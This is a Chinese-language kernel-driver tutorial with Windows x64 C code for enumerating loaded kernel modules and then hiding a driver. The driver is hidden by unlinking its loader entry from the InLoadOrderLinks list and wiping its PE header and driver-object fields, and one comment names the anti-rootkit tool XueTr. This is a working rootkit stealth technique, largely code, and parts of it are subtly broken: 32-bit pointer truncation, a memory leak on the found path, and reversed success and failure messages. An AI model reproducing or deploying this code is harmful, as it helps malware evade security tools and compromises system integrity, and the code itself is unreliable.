在 WIN64 上枚舉內核模塊有兩種方法:使用 ZwQuerySystemInformation 的第 11 號功能(SystemModuleInformation)和枚舉 KLDR_DATA_TABLE_ENTRY 中的 InLoadOrderLinks 雙向鏈表;
隱藏內核模塊的通用方法是把指定的驅動對象從 KLDR_DATA_TABLE_ENTRY中的 InLoadOrderLinks 雙向鏈表上摘除。
#include <ntddk.h>
#include <ntimage.h>
// dt _LDR_DATA_TABLE_ENTRY
typedef struct _KLDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;//這個成員把系統所有加載(可能是停止沒被卸載)已經讀取到內存中 我們關心第一個 我們要遍歷鏈表 雙鏈表 不管中間哪個節點都可以遍歷整個鏈表 本驅動的驅動對象就是一個節點
LIST_ENTRY InMemoryOrderLinks;//系統已經啓動 沒有被初始化 沒有調用DriverEntry這個歷程的時候 通過這個鏈表進程串接起來
LIST_ENTRY InInitializationOrderLinks;//已經調用DriverEntry這個函數的所有驅動程序
PVOID DllBase;
PVOID EntryPoint;//驅動的進入點 DriverEntry
ULONG SizeOfImage;
UNICODE_STRING FullDllName;//驅動的滿路徑
UNICODE_STRING BaseDllName;//不帶路徑的驅動名字
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
//系統所有程序 驅動對象裏都有這個結構 是驅動對象的成員qudongduixiang1->DriverSection(PVOID DriverSection) 這個結構體在什麼時候有的 io管理器在加載我們驅動的時候
//調用DriverEntry這個歷程的時候 把我們驅動對象也加入到系統的一個全局鏈表中
//就是爲了方便io管理器進行維護或者方便對象管理器進行維護 爲了查找方便 這個全局鏈表呢 把系統所有驅動程序串起來就是連接起來
VOID EnumDriver(PDRIVER_OBJECT pDriverObject)
{
PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
PKLDR_DATA_TABLE_ENTRY firstEntry;
ULONG64 pDrvBase = 0;
KIRQL OldIrql;
firstEntry = entry;
while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstEntry)
{
DbgPrint("BASE=%p\tPATH=%wZ", entry->DllBase, entry->FullDllName);
entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////
//隱藏驅動
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation
(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG Length,
OUT PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY
{
ULONG Unknow1;
ULONG Unknow2;
ULONG Unknow3;
ULONG Unknow4;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;//內核中以加載的模塊的個數
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _KLDR_DATA_TABLE_ENTRY_64
{
LIST_ENTRY64 InLoadOrderLinks;
ULONG64 __Undefined1;
ULONG64 __Undefined2;
ULONG64 __Undefined3;
ULONG64 NonPagedDebugInfo;
ULONG64 DllBase;
ULONG64 EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT __Undefined5;
ULONG64 __Undefined6;
ULONG CheckSum;
ULONG __padding1;
ULONG TimeDateStamp;
ULONG __padding2;
}KLDR_DATA_TABLE_ENTRY_64, *PKLDR_DATA_TABLE_ENTRY_64;
ULONG64 GetSystemModuleBase(char* lpModuleName)
{
ULONG NeedSize, i, ModuleCount, BufferSize = 0x5000;
PVOID pBuffer = NULL;
PCHAR pDrvName = NULL;
NTSTATUS Result;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
do
{
//分配內存
pBuffer = kmalloc(BufferSize);
if (pBuffer == NULL)
return 0;
//查詢模塊信息 SystemModuleInformation
Result = ZwQuerySystemInformation(11, pBuffer, BufferSize, &NeedSize);
if (Result == STATUS_INFO_LENGTH_MISMATCH)
{
kfree(pBuffer);
BufferSize *= 2;
}
else if (!NT_SUCCESS(Result))
{
//查詢失敗則退出
kfree(pBuffer);
return 0;
}
} while (Result == STATUS_INFO_LENGTH_MISMATCH);
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)pBuffer;
//獲得模塊的總數量
ModuleCount = pSystemModuleInformation->Count;
//遍歷所有的模塊
for (i = 0; i < ModuleCount; i++)
{
if ((ULONG64)(pSystemModuleInformation->Module[i].Base) >(ULONG64)0x8000000000000000)
{
pDrvName = pSystemModuleInformation->Module[i].ImageName + pSystemModuleInformation->Module[i].ModuleNameOffset;
if (_stricmp(pDrvName, lpModuleName) == 0)
return (ULONG64)pSystemModuleInformation->Module[i].Base;
}
}
kfree(pBuffer);
return 0;
}
//抹去pe頭,參數:驅動對象
BOOL HideDriverFromPeHeader(PDRIVER_OBJECT pDriverObject)
{
PMDL pHeaderMdl;
PIMAGE_DOS_HEADER ImageDosHeader;
PIMAGE_NT_HEADERS ImageNtHeaders;
BYTE *ImageBaseShadow;
ULONG ImageBase;
DWORD dwLdrDataTableEntry = 0;
BOOL bRetOK = FALSE;
//判斷當前的irql是否高於PASSIVE_LEVEL
if (KeGetCurrentIrql() > PASSIVE_LEVEL)
{
return bRetOK;
}
//就是驅動的起始地址
ImageBase = (ULONG)pDriverObject->DriverStart;
__try
{
//判斷是否是有效的pe文件內存
ImageDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return bRetOK;
}
DbgPrint("ImageDosHeader %x", (DWORD)ImageDosHeader);
ImageNtHeaders = (PIMAGE_NT_HEADERS)(ImageBase + ImageDosHeader->e_lfanew);
if (ImageNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
return bRetOK;
}
//到這裏就得到了pe的nt結構體
DbgPrint("ImageNtHeaders %x", (DWORD)ImageNtHeaders);
//利用MDL的方式來修改這個PE
//創建映射
pHeaderMdl = IoAllocateMdl((PVOID)ImageBase, ImageNtHeaders->OptionalHeader.SizeOfHeaders, FALSE, FALSE, NULL);
if (pHeaderMdl)
{
//鎖住KernelMode,IoWriteAccess
MmProbeAndLockPages(pHeaderMdl, KernelMode, IoWriteAccess); //鎖住,避免被page out,直接會導致MmGetSystemAddressForMdl藍屏 - -。
MmMapLockedPagesSpecifyCache(pHeaderMdl, KernelMode, MmWriteCombined, NULL, FALSE, NormalPagePriority);
//到這裏呢,我們就得到了一個安全的可以操作的映射地址
//我們對這個映射地址的操作,就相當於對xuetr的驅動基址進行操作一樣
//MDL的方式在SSDT那幾節課已經說明
ImageBaseShadow = MmGetSystemAddressForMdlSafe(pHeaderMdl, NormalPagePriority);
if (ImageBaseShadow)
{
//得到pe頭
ImageDosHeader = (PIMAGE_DOS_HEADER)ImageBaseShadow;
ImageNtHeaders = (PIMAGE_NT_HEADERS)(ImageBaseShadow + ImageDosHeader->e_lfanew);
//整個PE頭清零
*(PUSHORT)ImageDosHeader = 0x00;
*(PULONG)ImageNtHeaders = 0x00;
//抹掉DriverObject結構的中的信息
DbgPrint("pDriverObject:%08x\r\n", pDriverObject);
*(PUSHORT)pDriverObject = 0;
DbgPrint("Size:%d\r\n", pDriverObject->Size);
//0x168,抹去,清零
pDriverObject->Size = 0x0;
pDriverObject->DriverStart = 0x0;
pDriverObject->DriverSize = 0x0;
bRetOK = TRUE;
}
//解除映射
MmUnmapLockedPages(ImageBaseShadow, pHeaderMdl);
MmUnlockPages(pHeaderMdl);
IoFreeMdl(pHeaderMdl);
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("PeHeader Error \r\n");
}
return bRetOK;
}
// 隱藏驅動
VOID HideDriver(PDRIVER_OBJECT pDriverObject)
{
PKLDR_DATA_TABLE_ENTRY_64 entry = (PKLDR_DATA_TABLE_ENTRY_64)pDriverObject->DriverSection;
PKLDR_DATA_TABLE_ENTRY_64 firstentry;
ULONG64 pDrvBase = 0;
KIRQL OldIrql;
firstentry = entry;
pDrvBase = GetSystemModuleBase("win32k.sys");
while ((PKLDR_DATA_TABLE_ENTRY_64)entry->InLoadOrderLinks.Flink != firstentry)
{
if (entry->DllBase == pDrvBase)
{
//typedef struct LIST_ENTRY64 {
// ULONGLONG Flink;
// ULONGLONG Blink;
//} LIST_ENTRY64;
//typedef LIST_ENTRY64 *PLIST_ENTRY64;
//le->Flink->Blink=le->Blink;
//le->Blink->Flink=le->Flink;
OldIrql = KeRaiseIrqlToDpcLevel();
((LIST_ENTRY64*)(entry->InLoadOrderLinks.Flink))->Blink = entry->InLoadOrderLinks.Blink;
((LIST_ENTRY64*)(entry->InLoadOrderLinks.Blink))->Flink = entry->InLoadOrderLinks.Flink;
entry->InLoadOrderLinks.Flink = 0;
entry->InLoadOrderLinks.Blink = 0;
KeLowerIrql(OldIrql);
DbgPrint("Remove LIST_ENTRY64 OK!");
break;
}
//kprintf("%llx\t%wZ\t%wZ",entry->DllBase,entry->BaseDllName,entry->FullDllName);
entry = (PKLDR_DATA_TABLE_ENTRY_64)entry->InLoadOrderLinks.Flink;
}
// 抹掉PE的文件信息
if (HideDriverFromPeHeader(pDriverObject))
{
DbgPrint("HideDriverFromPeHeader failed!");
}
else
{
DbgPrint("HideDriverFromPeHeader success!");
}
}